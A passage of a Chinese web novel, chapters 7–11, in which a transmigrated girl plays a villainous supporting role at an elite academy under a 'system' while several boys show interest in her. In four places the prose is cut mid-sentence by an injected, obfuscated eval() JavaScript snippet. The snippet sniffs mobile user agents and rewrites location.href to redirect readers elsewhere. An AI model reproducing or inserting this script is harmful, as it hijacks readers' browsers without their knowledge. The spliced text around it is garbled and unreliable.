《在贵族学院当黑月光万人迷》 7. 第七章 小男孩约莫七八岁的样子,轻揪着被子,目不转睛望向她。 【系统:请宿主维持女配人设,提高弟弟对其的厌恶值。】 阮柚想着人设,默默离远了些。 小阮时眼睛扑闪,“谢谢姐姐帮我掖被子。” 他知道了? 阮柚一愣,转身开了灯,坐在软背沙发上。 “我只是不想让你给别人添麻烦罢了。” 小阮时一听着急,输液管轻轻震荡。 “不,不会的,我在这里一直很乖的。” 阮柚削着苹果,抬头看他,“可是你睡觉的时候不老实。” 确实是这样。 小阮时垂着脑袋,乖乖躺好,似乎有些羞愧。 可一想起刚才装睡时,无意觉察的温柔。 他的心里涌过暖流,望着阮柚,眼睛逐渐弯起月牙。 但很快,笑意消散,因为姐姐不喜欢他对她笑。 他不想让关心他的温柔姐姐消失。 阮柚对小阮时的心理路程全然未觉,她低着头,熟练削完整个苹果。 中途没有断,她很满意。 “姐姐…” 两人沉默时间过长,阮时糯糯的声音再次响起。 阮柚叠着腿,当着阮时的面咬苹果,“怎么,有事吗?” 唔,好酸。 她嫌弃般皱眉,只吃了一口就不吃了。 刚一抬头,就见阮时小心翼翼向她伸手。 小阮时将最后的苹果递给她,宛若献宝般,“这个红一些,姐姐尝尝。” 阮柚瞥开视线,斩钉截铁,“这么难吃,我才不要。” 小阮时闻言,眼里渐渐落寞光亮,听话缩了回去,“好。” 苹果是他最喜欢吃的水果,可姐姐不喜欢。那他也不要喜欢了。 【系统:阮母即将不到五分钟赶来,请宿主在五分钟内将台词说完。】 阮柚站了起来,迎上小阮时清澈怯弱的目光,微微蜷起手指。 话哽在嘴边,怎么也说不出来。 小阮时常年病弱不见光,肤色苍白的透明。 他接触的人廖廖可数,对家人全然依赖。 母亲告诉他,有好心人治疗他的病,以后就可以在像同龄人一样奔跑,于是,他怀着隐忍的希冀,来到了帝都医院。 可她即将要说的,无疑是撕开表象,打碎这个梦。 阮柚犹豫:“我能不说吗?” 【系统:任务和剧情有关,宿主无权更改哦。】 阮柚深吸了口气,望着阮时,嘴唇动了动。 然而忽然间,背包里的手机铃声响起,打破安静局面。 她的手机夹在课本里,声音一遍遍,急促而突兀。 她接起,“喂,你好。” “请问是阮时小姐吗,您的母亲在淮里路遭到小型车祸,请您过来一趟。” 阮柚握着手机,神色严肃下来。 / 阮母的车祸所幸只是皮肉擦伤,医生上了碘伏简单处理后,她们俩就离开了。 阮柚搀扶着阮母,坐在医院长椅上。 阮母过来医院送饭,红灯快走完时遇到一行富家子弟飙车,受惊后倒在地上,饭也跟着洒了一地。 这是原剧情里从未出现的内容。 想到这里,阮柚若有所思。 “小柚,我没什么事的,你就放心吧。” 阮柚抿唇没说话。 见阮柚没吱声,她继续问,“零花钱还够不够?不够再找我要。” 说罢,低头从衣服口袋翻找起来。 阮母的眉眼慈和,年纪不到四十,灯光蒙下时,眼角道道沟壑一览无余,一看就是经常地奔波劳碌。 阮柚按住她的手,“不用了。” 她抱着书包站起,摇过头,“我不缺。” 阮母愧疚起来,眼眶渐渐发红,“小柚,你是不是觉得我笨手笨脚的?” 阮柚一怔,很快否认,她完全没这么想。 阮母理着皱巴巴的钱,白炽灯下,看上去形影单薄。 原漫里,她被酒鬼丈夫长期PUA,任劳任怨,几乎没有思想,但母爱使然,总习惯把最好的给子女。 是一位合格温情的母亲。 阮柚心尖微动,转身,将刚才订好的热乎饭菜给她。 见阮母没接,她安静晃了下。 她撒了个小谎,“这是医院刚送来的,没花钱。” 阮母最终接过,忍不住问,“小柚,你吃了吗?” 阮柚嗯了声,垂下睫毛,“时间不早了,我先回去了。” 在原漫里,两人即使是母女,却依旧关系生疏冷清。 原身看不起这样的母亲,觉得她没用又软弱,发誓要和她成为截然相反的人。 阮柚不是原身,对原身的一切不予置评。 她竭力维持着人设,望着来着阮母提着餐盒,一瘸一拐的背影消失在视线。 最后,阮柚低敛下眸。 / 这几天流行感冒盛行,晚上的医院大厅,依旧有不少人挂号排队。 阮柚戴着口罩,第N次呼唤着系统。 依旧没有得到回应。 还没到冬天,就开始冬眠了。 阮柚裹了裹外套,索性不管这些,思索起待会吃什么好。 她摸了摸只剩两个硬币,空荡荡的口袋。 还是先把孟季雪送的包包卖了换些钱再说吧。 阮柚往外面走着,越过一道柱子时,不期撞到了一个人。 对方手指一松,装着药片的袋子落在白瓷地板上。 阮柚心生愧疚,低声道歉,蹲在地上帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184068|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡着药片。 “没事,我来吧。” 男生的声音因鼻音而沙哑,却仍干净的像羽毛拂过。 阮柚将药片装在袋子时,面前忽然落了一只修长漂亮,一看就是会弹钢琴的手。 装死已久的系统忽然冒了泡。 【触发支线任务:请对感冒的顾叙进行调戏,提高其厌恶值。】 阮柚动作一僵,平静神色有一瞬裂痕。 调,调戏! 是她理解的那样吗? 她微微抬眸,果不其然,面前的男生虽然戴着口罩,但眉眼熟悉。正是前不久,她在校门口见到的顾叙。 今天的天气断层降温,顾叙穿着白色针织毛衣,很符合他一尘不染的温柔气质。 他低头捡着药盒,黑色额发错落,专注又平和。 全然不知对面无限乱飞的心思。 阮柚紧抿了下唇,回忆剧情,神情古怪拿起药盒。 好,好野。 【系统:本任务与剧情有关,请宿主即使完成任务。】 顾叙一一拾起后,却见对面迟迟没动作。 他微微疑惑,不经意抬头,对上一双眼睛。 清澈明净,几乎同时,他就记起了她的名字。 阮柚。 “你——” 在她递给他最后一叠药盒时,他正欲回话,身形却忽然一僵。 阮柚的指尖冰凉,蜻蜓点水一般,细细蹭过纹路撩过他的手心。 尔后,她的手一松,药盒轻落手心。 一番动作后,在他微怔的神色中,阮柚强压羞耻,面不改色地飞速念起漫画台词。 “你不仅手生的好看,睫毛还好长呀。” 她跟着顾叙起身,继续道,“你不认识我了,我是阮柚,我是孟季雪的朋友,我们上次见过的。” 少女声音清甜干净,弯着眼睛看向他。 顾叙皱了下眉头,情绪一闪而过,手指力道渐渐收紧。 【系统:调戏顾叙成功,任务评级:A】 【奖励:修正卡一张。】 听到任务成功的消息,她松了口气的同时,顿时被袭来的尴尬支配。 一时间,她看向抿着唇,不动声色的顾叙,眼睛不知道往哪里放。 原漫里顾叙洁癖严重,自然厌恶陌生人的接触,她无疑是在往他雷区疯狂蹦哒。 任务已经完成,她自然而然地开溜。 刚看向顾叙,见他神色微微松动,似有不解茫然闪过、很快落在狭长眼眸里,她没能清楚捕捉到。 “嗯。” 顾叙低头,“我认识你。” 少年下巴微低,白色毛衣衬得他肤色更白,不知是不是感冒的原因,粉红顺着耳根缓缓爬过脸颊。 他一瞬不瞬望着她,缀着鼻音,一字一句道,“谢谢。” 8. 第八章 出医院后,寒风凛凛。 阮柚挥挥手,转身围上围巾,又想起刚才顾叙的道谢。 心平气和的,全然没展露出半点不耐或厌恶。明明是被摸了手,依旧一如既往的礼数周全。 下次一定是见面就躲吧。 她越想越心虚,下巴埋进衣领,匆匆往前走。 站在路边,她很快拦了一辆计程车,和司机报了目的地。 另一边 黑色卡宴停在路的对面,人来人往中,低调却显眼。 车窗缓缓下落,露出少年无可挑剔的面容。 少年胳膊搭在窗边,撑着下巴,冷漠地将一切收揽眼底。 气压莫名压低,前排司机弓着身,平视着前方,头都不敢乱动。 不久,膝上的手机接通,响起熟悉的男声:“不是参加宴会吗?怎么有时间给我打电话。” 清朗如春风,正是顾叙的声音。 嗓音含着笑意,俨然心情不错的样子。 “没兴趣,先走了。” 江净理手指闲闲敲着窗沿,“去医院了?” 顾叙有些意外,“嗯,你怎么知道?” 江净理:“路过看到了。” 他提了提唇角,往后一靠,“还看见了重要的人。” 顾叙一顿:“谁?” 江净理喉结微动:“阮柚。” 两字被他轻易带过,像在齿间呢喃无数次,熟稔又愉悦。 “她怎么会在医院呢。” 声音含在嗓里,像是自言自语。 八卦是人类天性,绕是再小心谨慎,司机还是忍不住竖耳朵听。 他越发觉得,这人似乎对少爷特别,这怎么听…都像是亲密软语,字里行间带着缱绻意味。 那头,顾叙忽然沉默下来,某些情绪不言而喻。 * 圣煜开学没多久,就要举办分班测验。 原漫里原身是个不折不扣的学霸,妥妥聪明天赋型。 所以阮柚要做的,是努力做到不掉链子。 这让她不得不连夜苦读,直到眼底熬出青灰。 课间,阮柚再次翻开试卷,草稿纸笔停下数秒,直到凝下墨,还是想不出思路。 孟季雪正涂着乳白指甲油,见状啧声,“不是之前说自己一看就懂了吗?怎么半天没见你动笔?” 因为完全没思路呀。 阮柚脸颊微微发烫。 但无论如何,她总是要维持人设。 于是,她叹了口气,一本正经的扯谎,“这道题有好几种写法,我在思考里面最简单的。” 孟季雪轻嗤一声,倒也信了,亮了亮刚涂好的指甲油,“你们觉得好看吗?” 她这么一亮,周围女生就围了上来,疯狂地吹起彩虹屁。 阮柚跟着放下了笔,打着头阵,充分演绎着什么叫头号小跟班。 孟季雪听着很受用,翘起的红唇笑意渐深。 另外几个小跟班渐渐歇了话,面面相觑着,觉得阮柚这也太敬业了,赞美的话都不带重样。 得了,心服口服。 最后还是孟季雪咳了声,落下手,语气不自然,“行了,不就是新指甲吗,这么夸张。” 阮柚眨眨眼,认认真真,“但涂在你手上就是不一样啊。” “咳。”被这么真挚的盯着,孟季雪不自觉飘开视线,扬着下巴,“呵,不得不说,你眼光倒是不错。” 上课铃响,她施施然起身,“我改主意了,下周三帝宴聚会,你过来吧。” 阮柚小鸡啄米似点头,眼睛发亮,一副惊喜的样子。 另外几个小跟班眼红捏手帕,决心回去苦学吹捧大法,因为活生生的成功例子就摆在面前。 阮柚,圣煜有名的暴发户,却硬生生凭着吹彩虹屁,让自己拿到了帝宴入场券! 业界励志模范! 要知道,帝宴可是顶级宴会之一,即使在圣煜,进去的人也掐指可数。 它相当于打开顶流社会的钥匙,进了那里,不仅能近距离接触很多名流贵族,还能趁机打开社交圈,开拓高级人脉。 羡慕,柠檬,嘤嘤嘤。 上课了,周围安静下来。 这节是自习,只剩下翻书声。 阮柚在草稿纸上涂画,最后画出了两个火柴人。 两个火柴人面对着面,中间隔着波浪线画成的水。 毫无技术,全是感情。 最后,阮柚在两个纸片人间,连了道直线。 没记错的话,在帝宴那场聚会,会触发有重要情节。 那天,女主宁糖刚好在那兼职,却被人刻意为难,推搡中不小心落入游泳池。 不会游泳的她拼命挣扎,刚好被偶然路过的成玉搭救,看到坚强柔弱的女主,成玉产生了异样的、近乎保护欲的情绪。 而带头刁难的人,不是别人,正是手拿恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184069|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女剧本的她。 阮柚苦哈哈画了个笑脸。 【系统:宿主大人真聪明!任务都提前猜中了~】 阮柚扯了扯嘴唇,安静把笔放下。 唔,这莫名哄小孩语气是怎么回事。 系统下线前,又过问了她考试复习的事。 【请宿主务必保持学霸人设。】 阮柚心应了声,下巴搁在桌面,吹了吹刘海,无奈继续做题。 考试那天,阴雨连绵。 雨水打着窗户,迷蒙着擦落水痕。 阮柚正埋头写作文,忽然,监考老师停在她身边。 阴影微微遮过,又短暂消失。 阮柚没去理会,继续写着作文。 再然后,身边响起老师略带严肃的声音。 “这位同学,你能解释一下,为什么地上会有小纸团吗?” 阮柚手一顿,愣愣看他,“我不知道。” 第一次碰上这种事,她除了错愕茫然,没有其他情绪。 一时连组织语言辩解的话,都来不及去好好说。 待她反应过来,监考老师已经在记她的名字,眼里透着怀疑不耐。 周遭气氛沉的可怕。 阮柚微皱起眉,义正言辞,“老师,这纸条绝对不是我的。” 监考老师:“那你怎么解释它出现在这里呢?” 他执教多年,听多了这样的解释,结果很多都是说谎,无疑浪费双方的时间。 更何况,作为隔壁班班主任,他本身是知道阮柚情况的。 个人家境不好,所以比别的同学更需要亮眼成绩,这次考试又这么关键,想剑走偏锋也讲的通。 想到这儿,他的目光愈发犀利。 而阮柚目光坦荡,冷静道:“光凭这个,您也不能轻易断定就是我的。实在不行,还是看完监控再下定义。” 她看出了他的先入为主。 老师眉头皱得更甚,正欲回话,不期间,一道男声从后面响起,在空寂教室愈发明晰。 “纸条不是她的。” 嗓音是惯有的冷淡,带着初醒慵懒的调儿,一瞬吸引了全部的视线。 包括阮柚,她跟着回过了头。 江净理坐在最后排,校服袖扣随意轻挽,露出一截冷白腕骨,气质和雨雾清冷几乎融为一体。 只那双眼睛,浓郁专注,直直望着她。 “我看到了,可以证明。” 9. 第九章 考试结束,人争先涌出来。 阮柚跟在江净理身后,身高悬殊,距离拉远,像怎么甩都甩不掉的小尾巴。 【系统:请宿主修补以下情节。】 阮柚目光掠过,提取着信息。 【漫画中,原身拉着他的袖子,眼神簇光,疯狂做暗示,就差不在脑门上贴“我是你救命恩人”这几个大字。】 看完后,她攥过手心,似是下定决心。 就是不知道,江净理带她来VIP休息室是做什么。 阮柚偷瞄了眼铂金门牌,手扒拉着门框,迟迟没动弹。 她对他的不按常理出牌已经有了阴影。 谁知道他心里在想什么。 而江净理眉眼从容,坐在真皮沙发上,轻翻过文件,尔后,掀眼直直看来,“怎么不过来。” 阮柚探了探身,终于出声,“刚才的事,谢谢你。” 她补充,“帮我作证。” 江净理嗯了声,“第三遍了。” 阮柚眨了眨眼,微微不解。 他放下文件,声线清冷,“第三遍对我道谢了。” 他定定看她,突然笑了笑,“不进来,是要我亲自带你过来吗?” 话停了,修长手指搭落一边,似乎要应约自己的话。 阮柚忙摇摇头,抱着书包走了进去。 对上他的笑意,意识到他在耍她。 阮柚别开视线。 心里念叨着任务,早完成早解脱。 系统在旁边为她打气。 它最近程序升级,几乎能做到全程在线,不再有中途歇菜的情况。 听到系统加油声,阮柚蓄了些劲儿,身子微微挺直。 没等江净理说话,她把书包一放,伸手,眼疾手快拉住了他的衣袖。 他的袖子已然挽下,一丝不苟扣上银扣,多了几分禁|欲清冷。 阮柚紧纠着他的袖角,总觉得压在手背上的视线,幽深又浓烈,略微发麻。 她觉得,这类似杀气。 她想到江净理的重度洁癖,又瞥了眼自己写完800字作文还没洗过的手,微微蜷着手指。 …但好像更皱了。 对面的人低着头,下颌微掩,一时没说话。 阮柚拽拽衣角,台词烫嘴滚落,“江同学,你还记得我是谁吗?” 纤细人影遮落下阴影,他的世界,混着少女熟悉的体香,以及…抓着自己不放的手。 安定、平和。 江净理眼神微暗,仰起头,朝她嗯了声。 “知道。” “阮柚。”他喉结微动,念着名字。 阮柚松开他衣角,提啊提唇角,“还有呢?” 因为带着期盼,她的眸子发亮,一动不动盯着他。 江净理知道她想听什么。 他看向了袖角,她放开了手,如今空空如也。 他没有随她愿,而是靠在椅背,歪了歪头,“还有什么?” 阮柚心中哼唧,贵人多忘事,何况是小炮灰的事,他果然记不清了。 她一本正经,“你绝对不能忘的一件事。” “我救了你。” 江净理安静看她,良久,“哦。” 【系统:任务成功!获取金币x10,金手指一枚:24小时欧皇体验卡。(注:此奖励仅随机掉落于与主角有关的重要情节任务)】 阮柚心里冒光,是她想的那样吗? 系统一板一眼:是的,宿主今天抽什么都会中的哦,不过仅限一次。 一次百分之百中奖,也赚大了好么! 阮柚心中雀跃,望向江净理,怎么看都像冒着金光。 土财主,哦不,金主大大! 贴贴。 江净理不知她在想什么。 只觉得对面的少女眉眼带笑,嘴角微翘,似乎憋着乖戾小心思。 阮柚抱好书包,“江同学,还有其他事吗?没有的话我就先走了!” 任务完成了,自然没有留下来的道理。 更何况,她着急回去抽奖。 然而,两步没走远,忽然被人拦住出路。 她仰起头。 江净理:“有事。” 离开休息室后,阮柚盯着对方硬给到手的入会申请表,陷入长久沉思。 原漫有这个情节吗? 没有吧。 学生会作为圣煜贵族学院的食物链顶端,里面的人都是贵族中的贵族,会员的筛选极其严格,堪称魔鬼。 女主还是在后期,因为江净理bug的存在,才有了进去的机会。 所以,这就是成为救命恩人的好处吗? 等以后真相大白那天,不知道会得到怎么的惩戒呢。 阮柚抿抿嘴唇,默默把它折好放到夹层。 不去管了。 * 中奖前,她是一个吃了上顿没下顿,平平无奇小穷鬼。 中奖后,她成了走路生烟,领奖要带保镖的短期小富婆。 500万在贵族学院人看来不算什么,但在阮柚看来,无疑是一笔巨款,解了燃眉之急。 于是一整天,心情轻松自在。 直到新的任务发布—— 星期五,阮柚无聊看着蚂蚁搬家。 灌木丛错落而过,是一只伸过懒腰的橘猫,它垂着脑袋,懒洋洋趴在花坛边晒着太阳。 很快,人影拂过。 在阳光下,头发呈着金,自带天使光环。 阮柚压压帽沿,目光重新紧凑,对原身有了更新的认识。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184070|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有耐心。 能这么久蹲点守在这里,就为帮孟涓雪拍到顾叙喂猫的照片,真实细节令人触目。 头号小跟班,不是动嘴皮子就能当的 QAQ 只是今天,原身拍到的不知是他的照片。 还偶然偷拍到了一组顾叙和宁糖一起撸猫的照片。 这是他们两人的羁绊点。 也是剧情推进的催化剂。 阮柚伸了伸脑袋,看见宁糖正蹲在那喂小橘猫,满眼含着温柔笑意,岁月静好。 她缩回去,抖抖头上叶子,看了眼手表。 倒计时不到十秒,身着便装的顾叙准时出现。 望见宁糖,他似乎一瞬惊讶,很快得体敛住,和她礼貌打了声招呼。 一切按部就班进行,阮柚心松了口气。 从外套口袋掏出手机,检查两遍好声音、闪光灯,默默对准咔咔拍了好多张。 而回头翻阅时,眉头却越皱越深。 是她拍照技术有问题吗? 两人怎么靠的这么远呀! 一个蹲在左边,一个弯着眼站在斜对面。 阮柚不满意,想重新拍。 腿边痒痒的,似乎有柔软在蹭来蹭去。 她以为蹲久了,脚麻了。 放下手机想修整一下,不期间,却看到一只幼小白猫,正用小脑袋来回轻蹭着她的小腿,慵懒眯眼,仰头发出糯糯喵声。 阮柚一怔,瞬间,心被萌化了大半。 好可爱! 她忍不住伸手揉了揉,不敢用力道,显得小心翼翼的。 而小白猫享受似的躺落在她脚边,身子小半依附上来。 阮柚被猫勾去大半心神。 直到鼻子发痒,捂嘴连打三个喷嚏后,才听见系统迟迟的提示声。 【请宿主即使注意,原身对猫毛过敏。】 阮柚:……? 呜,为什么不早点说。 【系统咳了声:我以为宿主是知道的。】 阮柚低头去看,小白猫已经被其他动静吸引走了。 她缩在灌丛后,努力让自己安静下来,鼻头却忍不住发酸。 最后连带眼睛,都像被洋葱熏了般,泛起红意的同时,眼泪止不住地往下淌。 怎么也控制不住。 成玉经过时,看到就是这样的场景。 阳光顾及不到的阴影处,少女单手抱膝蹲在那,微微耷拉着脑袋,略微下垂的眼尾殷红,不时擦着眼泪,看上去形单影只。 而她身后,是外人看来,一对登对亲近的男女。 成玉狠狠嚼着口香糖,微眯起眼睛,胸口闷痛之余,一股破坏欲涌上心头。 操。 是在为他哭吗? 他有什么好? 10. 第十章 阮柚蹲在原地,打了个喷嚏后,眼睛蒙上一层雾。 没想到会这样。 抢忍着各种不适,她从口袋摸索半天,终于找到那叠开封的纸巾。 幸好带了。 而没待她抬手,面前倏然一暗。 周围似乎安静了许多,没有的扰动风声、只剩渐渐平缓的呼吸。 慢半拍觉察到变化,阮柚茫然抬起头。 果不其然,有人站在他面前,恰好挡住了光线。 她眨了眨眼睛,竭力辨清来人。 少年个头很高,背光立在她面前,拖下一片阴影,气质不容忽视。 他微低着头,居高临下的角度,却半点没有傲慢锐利的感觉。 一种似曾相识的感觉划过心头。 眼睛生涩,生理眼泪不要钱滚落,却也让她渐渐明晰了对方轮廓 看清来人时,阮柚眉心猛地一跳,心情有一霎那的扭曲。 怕什么来什么。 真的是他。 成玉低头望着她,眸意被长睫遮掩,一时辨不清心情。 只剩下沉默,在空气中延长。 阮柚低着脑袋,抬起手,用纸巾擦脸。 殊不知,因为抑不住的咳嗽,她的白皙脸颊浮上红晕。 宛如冬阳下的雪梅,清冷又坚韧。 成玉将一切尽收眼底,不知何时,手中纸巾紧攥成团,逐渐地凹陷指骨。 她总是能轻易牵动他的情绪。 这很复杂,却因为有趣,变得很简单。 阮柚擦着眼泪,脑速飞转起来。 怎么一切都不按照剧本来! 她仰起头,刚想打招呼把人应付过去,谁知道对方却率先一步开口。 “别动。” 阮柚睫毛颤了颤,有那么一瞬困惑。 下一秒,对方的手指便越了过来,勾落附在她颊侧的一缕碎发。 动作轻柔,指节无意触到她的下颌,在风干的冰凉上,落下短暂滚烫。 宛若触电般,阮柚微微瞪圆眼睛,下意识往后靠了靠。 反应似乎有些大,脊背荡过身后灌丛,坠下几片枯叶。 她扭过头,瞄了眼对方悬空的手,莫名生出不自在。 “谢谢。” 阮柚伸手顺顺头发,和他道了声谢。 成玉落下手,似乎并没放在心上。 他半蹲在她面前,胳肘搭在膝盖,神色专注,“学姐,谁欺负你了?” 声音少了惯有的懒散,像小孩要糖般,执拗想要一个答案。 阮柚匆匆地摇了摇头。 “我没什么事,也没人欺负我。” 她的声音忽然一顿。 经他这么误打误撞的提醒,她一拍脑袋,想起自己还未完待续的任务。 她还没拍到合适照片呢! 于是,阮柚竖起耳朵听了听。 没了交谈声,不会,人已经离开了吧? 成玉扯了扯她的衣角,“那你怎么还在哭呢?” 嗯? 她再次看向他,顺着他点视线,摸了摸自己的脸颊。 一抹湿凉,不受控制。 与此同时,鼻尖的痒意逐渐袭来。 她接过纸巾擦了擦,“谢谢,我是因为猫…” 不远处适时响起熟悉女声,温柔干净,口吻带着显而易见的担忧。 “这只狸花猫的腿好像受伤了。” “嗯?我来看看。” “好。” 阮柚抿着唇,动作停下,努力放缓呼吸节奏。 是宁糖和顾叙,声音似乎越来越近。 成玉皱了下眉。 他自然听到了声音,也亲眼看见了,从声音响起那一刻,少女瞬间被分去一半心神的模样。 心中猛然烦躁。 当然,烦躁对象仅限那个源头罢了。 他想重新获得她的关注。 他望着她,起了个话题,“怎么会在这里…?” 话还没说完,双唇就倏然被人牢牢捂住。 热意顺着耳廓袭来,燎烧着心头。 阮柚因为紧张,心口狂跳。 她快速瞄了眼身后,尔后,看向了距离自己半臂距离的成玉。 心虚,紧张,又愧疚。 出乎意料般,对方未做挣扎。只垂着眉眼,曜石般的眸光烁动,一瞬不落看着她。 身后响起声音。 宁糖有些疑惑,“刚才是什么声音?” 顾叙情绪淡淡,“不知道。” 人声走远,她松开了他。 阮柚蜷起发烫的手心,耷拉下眼皮,认错地干脆,“对不起,我刚才不应该…” 成玉扯唇一笑,阳光下,笑得纵容,“没关系。” 他靠近,专注地问,“这算是我们共同的秘密吗?” 陌生气息愈浓,阮柚抿了下唇,问:“什么?” 他又笑,放低了声音,几分少年意气,“在这里,不被人发现。” ? 阮柚满头问号。 她望着对方满眼笑意的样子,一时哑然。 她摸了摸发痒的鼻尖,囫囵地嗯了声。 换个思路,的确不能被别人发现,不然一切都玩完了。 她努力对上了他的逻辑。 “你还没回答我的问题。”成玉的话有些跳跃,语调却很缓,“为什么要哭呢?” 阮柚有些头大,解释,“因为猫毛过敏…” 他闻言怔了下,“走吧。” 阮柚:“去哪?” 成玉:“现在不是玩游戏的时间,我们应该去医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184071|165434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 阮柚攥着手机,赶忙拒绝,“不用不用,我们应该不严重。” 成玉:“都过敏了,还说不严重?” 他认真地问:“要我背你,还是自己走。” * 午后,阮柚从医院出来,低头回着孟季雪的消息。 “不好意思,手机突然没电了,所以就拍到了这几张。(流泪猫猫头.jpg)” 孟季雪:“哼,总体还算凑合。” “宁糖她来干嘛,幸亏顾叙没搭理他。” 她说的是阮柚发的那组照片。 因为没拍到两人近距离照片,只剩下几张距离隔远的照片,因此孟涓雪反应没有那么大。 阮柚长呼了口气,下巴半缩在衣领里。 这个剧情终于应付过去了。 “发什么呆呢?” 阮柚扭头望过去,成玉已经挂了电话,朝这边走了过来。 “成玉,这次要谢谢你。” 她侧头望向他,手机放回口袋,认真地道谢。 她一直都明白,别人纯粹的关心总是来之不易,需要妥善对待的。 “不客气。” 成玉低头笑,“所以你要怎么报答我?” 阮柚想了想,犹豫问,“有什么事我能帮你的吗?” 他顺风顺水,似乎不缺什么,嗯,或许她可以帮他写作业? 成玉微仰起下巴,手插在兜里,掩下了笑意。 “我想想。” 他望着阮柚专注明亮的眼神,不经意拖长了语调,“后天篮球比赛,帮我加油。” 肩膀被对方轻拍了拍,阮柚仔细听着他的话,想都没想就答应了。 “好啊。” 不过是篮球比赛加油罢了。 然而回程路上,阮柚脑袋靠在车窗上,忽然似想到什么,坐正了起来。 ——篮球比赛。 不会是A班pkL班那场吧? 她回忆着。 在这一场里,宁糖特意去给男主江净理加油,却在送水时,被人刻意地推倒,最终男主江净理从天而降,当众替她解围。 而作为对手的成玉在看台亲眼见证了一切,也自然看到别人看不到的小动作。 一向不爱管闲事的人亲自下场打脸,而打脸的对象,就是阮柚。 系统:宿主真聪明! 阮柚:“为什么不直接告诉我?” 系统字正腔圆:思考,是伟大的过程。 阮柚:…… 系统试图灌鸡汤:咳,虽然任务有些难办,但是请不要灰心。 阮柚叹了口气。 她摇了摇头,弯眼笑起来,“不难,因为好戏终于开始了。” 她终于可以一步步被打脸啦! 而下线,就等于任务成功。 11. 第十一章 阮柚总有一种奇怪的直觉。 今天,她从出门伊始,右眼皮就开始疯狂跳个不停,直到进了教学楼才有所缓和。 走廊里,几个同学在嬉笑打闹,纸飞机循着空气游走转弯,最后刚好落在了她的脚边。 阮柚脚步顿住,俯身帮忙拾起。 而余光里,隔着空气,有人抢先了她的动作一步。 阮柚瞄了眼对方的手指,刹车缩回去,眼皮不由得一跳。 她张了张嘴没说话,盯着男主大人看。 “怎么没来?” 江净理站在她对面,没看她,目光打量着手里的千纸鹤,似是不经意提了个问题。 少年身量修长,裹着浅灰色围巾,半掩着下巴,气质矜贵冷淡。 阮柚无心欣赏美色,相反,她现在对他避之不及。 如果有机会,她很想摇着他肩膀告诉他,请你不要再擅自加戏了TVT 没等阮柚接话,有个蹰着往这边来,望着江净理,脸色几分紧张。 “学,学长。” 男生走近半步,“谢谢你。” 江净理抬眼:“你的?” 男生闻言,猛地点点头,余光忍不住往旁边飘。 趁两人还在聊天,阮柚这边刚准备开溜,谁料江净理忽然一侧,动作微不可察,却恰好挡住她的方向。 阮柚握拳:……我忍。 江净理将纸飞机还给了对方,“走廊乱扔垃圾,下不为例。” 嗓音一如既往的轻淡,可男生接过纸飞机时,却分明听出了几分冷漠。 男生目光一烁,默默咽了口水,“好,好的,我知道了,学长。” “我先走了,再见。” 阮柚探了探脑袋,看了眼那男生奔走的背景,莫名觉得有些好笑。 这人该是把江净理当成洪水猛兽了吧? “笑什么?” 阮柚眨了眨眼睛,轻咳两声,“今天心情好。” 她随口道,正色,眼里明晃晃五个字:找我有事吗? 江净理点头,似乎是接受了这个理由。 他低头看她,感受着周围若有若无的目光,皱了皱眉头。 好吵。 阮柚:“江同学,要上……” 江净理出声:“申请表。” “嗯?” 阮柚疑惑。 “怎么没送来?” 阮柚松开眉头,努力从暂时空白的记忆挖掘出什么。 申请表? 哦! 江净理忽然笑了下,“想起来了?” 他说着,低头望着她。 阮柚点头,不习惯被他这样看,总觉得什么秘密都无处遁形。 “不好意思,我没什么时间。” 江净理挑眉,听她继续讲。 阮柚想起自己维护的人设,“呃,我的行程安排的很满,入会这件事是锦上添花,但不是必需的。” “所以。” 她抿出几分笑意,不言而喻。 “哦。” 江净理微微颔首,慢吞吞的,“这样。” 他掀起眼皮,略带思忖,眉眼清冷干净。 语调平淡,似呢喃,又似提问,“那我怎么才能经常见到你?” * 【系统:检测男主人设完整度:100%】 阮柚趴在桌上,手指压了压橡皮,“真的没被魂穿吗?” 